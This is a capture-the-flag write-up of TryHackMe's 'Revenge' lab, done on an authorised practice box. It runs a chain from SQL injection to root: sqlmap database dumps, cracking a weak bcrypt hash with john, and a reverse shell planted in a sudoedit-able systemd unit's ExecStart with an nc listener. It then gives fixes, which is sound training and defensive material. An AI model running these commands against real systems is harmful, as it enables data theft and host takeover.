Revenge
A Flask shop has a SQL injection that dumps the whole database (PII, cards, bcrypt hashes); a weak-cost admin hash cracks to SSH, and a sudo rule allowing sudoedit of a systemd unit plus systemctl restart escalates to root.
A walkthrough of the “Revenge” room from TryHackMe (a sequel to Blog — the client wants the site defaced). The Rubber Ducky Inc. Flask shop has a SQL injection that dumps the entire duckyinc database — PII, credit cards, and bcrypt hashes. A weak-cost admin hash cracks to an SSH login, and a sudo rule that lets us sudoedit a systemd unit and restart it escalates to root.
Revenge is an authorized training challenge on TryHackMe; everything here was performed against a legal practice target. All flags and the recovered password are shown as
THM{<redacted>}/<redacted>, and the dumped PII/cards and bcrypt hashes are withheld — real on the box.
TL;DR
TL;DR
A Flask shop (nginx) with /products/<id> → the id is SQL-injectable; sqlmap dumps the duckyinc DB → the user table holds PII, plaintext credit cards and bcrypt hashes (flag 1 is hidden in a credit_card field), and system_user holds admin bcrypt hashes → server-admin’s hash uses a weak cost ($2a$08$) and cracks with rockyou → SSH in (flag 2) → sudo -l allows sudoedit /etc/systemd/system/duckyinc.service and systemctl restart duckyinc.service → edit the unit’s ExecStart to a reverse shell, daemon-reload, restart → root → complete the mission by defacing the site as www-data (flag 3 appears in /root).
The target
export IP=<target-ip>
export ATTACKER_IP=<your-ip>
nmap shows SSH and an nginx-fronted Flask app:
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http nginx 1.18.0 # "Rubber Ducky Inc." (Flask; requirements.txt exposed)
Content discovery finds /admin, /login, /products, and /requirements.txt (confirming Flask + a SQL database).
The vulnerability
The product page GET /products/<id> passes the id straight into a SQL query — a classic injection reachable in the URL path. The dump exposes everything, including the first flag. The privesc is a sudo rule that effectively lets the user control a root-run service.
Insight
The privesc is the elegant part: server-admin may sudoedit the systemd unit duckyinc.service and systemctl daemon-reload/restart it. A systemd unit’s ExecStart runs as whatever user the unit specifies — here, root. So editing ExecStart (or adding one) to a reverse shell and restarting the service runs your command as root. Granting edit + restart on a root service is equivalent to granting root.
Step 1 — SQL injection → dump the database (flag 1)
sqlmap --url 'http://$IP/products/1' --current-db # duckyinc
sqlmap --url 'http://$IP/products/1' -D duckyinc --tables # system_user, user, product
sqlmap --url 'http://$IP/products/1' -D duckyinc -T user -C username,_password,credit_card --dump
# one row's credit_card field is the flag: THM{<redacted>}
# (the rest are real PII + plaintext card numbers)
Step 2 — crack the weak admin hash → SSH (flag 2)
The system_user table holds admin bcrypt hashes; server-admin’s uses a weak cost of 8:
sqlmap --url 'http://$IP/products/1' -D duckyinc -T system_user -C username,_password --dump
# server-admin : $2a$08$... (cost 8 — weak)
john --wordlist=rockyou.txt admin_hash.txt # server-admin : <redacted>
ssh server-admin@$IP
server-admin@...:~$ cat flag2.txt # THM{<redacted>}
Step 3 — sudoedit a systemd unit → root (flag 3)
server-admin@...:~$ sudo -l
# (root) /bin/systemctl start|enable|restart|daemon-reload duckyinc.service, sudoedit /etc/systemd/system/duckyinc.service
Edit the unit to run a reverse shell as root, reload, and restart:
sudoedit /etc/systemd/system/duckyinc.service
# set ExecStart (or add one) to: /tmp/shell.sh (a bash reverse-shell script)
sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart duckyinc.service
nc -lvnp 4444 # -> root shell
The mission is to deface the site, so become www-data and edit a Flask template; the final flag then appears in /root:
# as www-data: edit ~/duckyinc/templates/index.html, then as root:
cat /root/flag3.txt # THM{<redacted>}
Impact
Critical
Critical — CVSS 3.1 ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). An unauthenticated SQL injection exfiltrates the entire customer database — names, emails, and plaintext credit-card numbers (a serious PII/PCI breach). A weak-cost admin bcrypt hash cracks to an SSH login, and a sudo rule permitting edit-and-restart of a root systemd service escalates to full root — complete host compromise and the ability to tamper with the live site.
Recommended fix
Fix
- Use parameterised queries for
/products/<id>; never build SQL from the URL. - Never store card numbers in plaintext — that’s a PCI-DSS violation; tokenise or don’t store them, and use a strong bcrypt cost (12+) consistently.
- Fix the sudo rule. Allowing
sudoeditof a service unit plusrestartis equivalent to root; scope sudo to safe, specific actions and keep unit files root-only. - Enforce strong admin passwords so a leaked hash isn’t cracked in seconds.
Takeaways
- Flags (and data) hide in dumped columns. The first flag was literally a
credit_cardvalue. - bcrypt cost matters.
$2a$08$cracked fast where$2a$12$would resist. sudoedit+systemctl restartof a root service = root. Control over a privileged unit’sExecStartis a shell.- Read the sudo rule carefully. The combination, not any single command, was the vulnerability.
Revenge is a clean SQLi-to-root chain with a tidy systemd-service privesc. Thanks for reading.